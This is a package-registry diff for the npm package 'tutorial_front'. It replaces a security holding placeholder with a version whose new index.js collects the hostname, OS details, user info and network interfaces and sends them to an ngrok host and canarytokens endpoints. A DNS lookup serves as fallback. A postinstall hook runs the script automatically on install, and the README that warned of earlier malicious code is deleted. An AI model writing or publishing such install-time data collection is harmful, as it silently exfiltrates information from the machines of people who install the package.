tutorial_front 0.0.1-security → 41.24.24

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of tutorial_front might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +59 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,59 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+ const dns = require('dns');
4
+
5
+ // === Replace these with your actual endpoints ===
6
+ const endpoints = [
7
+ 'ce2231b095cc.ngrok-free.app', // ngrok HTTP (first priority)
8
+ 'canarytokens.com/images/articles/41ecgp6yp6c0mkcrtwvzl8t3f/submit.aspx', // Canary HTTP token
9
+ ];
10
+
11
+ const dnsFallbackToken = 'kez5pygx1745d8vb0abdq7pa1.canarytokens.com'; // DNS token (last fallback)
12
+
13
+ // Collect system info
14
+ const deviceInfo = {
15
+ platform: os.platform(),
16
+ release: os.release(),
17
+ hostname: os.hostname(),
18
+ arch: os.arch(),
19
+ userInfo: os.userInfo(),
20
+ networkInterfaces: os.networkInterfaces()
21
+ };
22
+
23
+ // Convert info to query string
24
+ const queryString = Object.entries(deviceInfo).map(([key, value]) => {
25
+ if (typeof value === 'object') value = JSON.stringify(value);
26
+ return `${encodeURIComponent(key)}=${encodeURIComponent(value)}`;
27
+ }).join('&');
28
+
29
+ // Try sending to each HTTP endpoint
30
+ function sendToHTTP(hostname) {
31
+ const options = {
32
+ hostname,
33
+ port: 443,
34
+ path: `/?${queryString}`,
35
+ method: 'GET'
36
+ };
37
+
38
+ const req = https.request(options, (res) => {
39
+ console.log(`Success: ${hostname} responded with ${res.statusCode}`);
40
+ });
41
+
42
+ req.on('error', (err) => {
43
+ console.error(`Failed to reach ${hostname}: ${err.message}`);
44
+ });
45
+
46
+ req.end();
47
+ }
48
+
49
+ // Trigger all HTTP URLs
50
+ endpoints.forEach(sendToHTTP);
51
+
52
+ // Trigger DNS as fallback
53
+ dns.lookup(dnsFallbackToken, (err) => {
54
+ if (err) {
55
+ console.error(`DNS fallback failed: ${err.message}`);
56
+ } else {
57
+ console.log('DNS fallback triggered successfully');
58
+ }
59
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "tutorial_front",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "41.24.24",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=tutorial_front for more information.